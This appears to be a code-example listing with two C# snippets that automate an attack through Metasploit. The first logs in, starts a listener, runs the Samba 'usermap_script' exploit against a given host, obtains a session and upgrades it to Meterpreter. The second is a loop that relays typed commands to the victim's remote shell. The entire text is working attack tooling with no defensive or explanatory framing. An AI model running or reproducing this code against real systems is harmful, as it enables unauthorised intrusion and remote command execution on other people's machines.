コード例 #1
0
        public async Task ExploitHost(string host)
        {
            await _metasploit.Login();

            if (!_metasploit.IsAuthenticated())
            {
                return;
            }

            const string exploit = "multi/samba/usermap_script";

            _logger.LogTrace("Starting listener...");
            var result = await _metasploit.MultiHandler();

            await _metasploit.Exploit(exploit, host);

            _logger.LogTrace("Obtaining session...");
            var sessionId = await _metasploit.ObtainSession(exploit, result.JobId);

            _logger.LogTrace("Upgrading session to Meterpreter...");
            var meterpreterId = await _metasploit.ObtainMeterpreter(sessionId);

            await _metasploit.Meterpreter(meterpreterId);

            _logger.LogTrace("Closing session...");
            await _metasploit.StopSession(sessionId);
        }
コード例 #2
0
        public static async Task Shell(
            this IMetasploitProvider metasploit,
            string sessionId)
        {
            while (true)
            {
                Console.Write("$ ");
                var cmd = Console.ReadLine();
                if (cmd == "exit")
                {
                    await metasploit.StopSession(sessionId);
                    break;
                }

                await metasploit.WriteToSessionShell(sessionId, $"{cmd}{Environment.NewLine}");
                Delay.Tiny();
                await metasploit.ReadSessionShell(sessionId);
            }
        }